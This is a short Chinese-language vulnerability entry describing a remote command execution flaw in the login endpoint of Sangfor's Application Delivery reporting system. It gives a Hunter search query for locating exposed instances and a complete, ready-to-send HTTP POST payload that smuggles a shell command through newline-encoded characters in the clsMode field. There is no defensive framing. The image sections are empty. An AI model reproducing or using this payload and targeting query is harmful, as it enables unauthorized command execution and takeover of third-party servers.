S3-1深信服-应用交付AD-RCE

漏洞描述：

深信服应用交付管理系统login存在远程命令执行漏洞，攻击者通过漏洞可以获取服务器权限，执行任意命令。

网站图片：

网络测绘：

Hunter 语法：

- hunterapp.name="SANGFOR 深信服应用交付报表系统"

漏洞复现：

payload：

```
POST /rep/login HTTP/1.1
User-Agent: Java/1.8.0_381
Host: xx.xx.xx.xx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 118

clsMode=cls_mode_login%0Als%0A&index=index&log_type=report&loginType=account&page=login&rnd=0&userID=admin&userPsw=123
```

效果图: